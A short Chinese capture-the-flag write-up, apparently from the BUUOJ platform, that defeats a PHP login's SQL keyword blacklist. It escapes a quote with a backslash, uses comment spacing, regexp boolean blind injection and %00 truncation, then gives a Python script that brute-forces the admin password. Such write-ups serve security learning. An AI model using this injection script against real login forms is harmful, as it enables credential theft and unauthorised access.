学到了新的sql注入知识。
场景
看到了查询语句。
访问robots.txt
看到有hint
看到了黑名单。
$black_list = "/limit|by|substr|mid|,|admin|benchmark|like|or|char|union|substring|select|greatest|%00|\'|=| |in|<|>|-|\.|\(\)|#|and|if|database|users|where|table|concat|insert|join|having|sleep/i";
If $_POST['passwd'] === admin's password,
Then you will get the flag;
regexp没被过滤,要用到正则盲注。
原查询语句
sqlquery : select * from users where username='' and passwd=''
因为单引号被过滤,传入在username里传入\转义第二个单引号。例如传入:
username=\
passwd=||/**/passwd/**/regexp/**/"^a";%00
php版本为5.2.16,存在00截断。
查询语句就变为
username='\' and passwd='||/**/passwd/**/regexp/**/"^y";%00 #%00截断后面的内容。
测试后看到响应头里面多了welcom.php,可以利用这个进行布尔盲注
脚本
from time import sleep
from urllib import parse
import requests
def exp():
url = 'http://15780c99-f7f8-4c98-9629-0cff3e1b8406.node3.buuoj.cn/index.php'
str = 'abcdefghijklmnopqrstuvwxyz1234567890_@'
password = ''
for i in range(100):
sleep(0.2)
for j in str:
data = {"username" : "\\", "passwd" : '||/**/passwd/**/regexp/**/"^{}";{}'.format(password+j, parse.unquote('%00'))}
r = requests.post(url, data=data)
if "welcome.php" in r.text:
password = password+j
print("now :" + password)
break
print("final password:"+password)
if __name__ == '__main__':
exp()
输入密码登录后抓包
拿到了flag。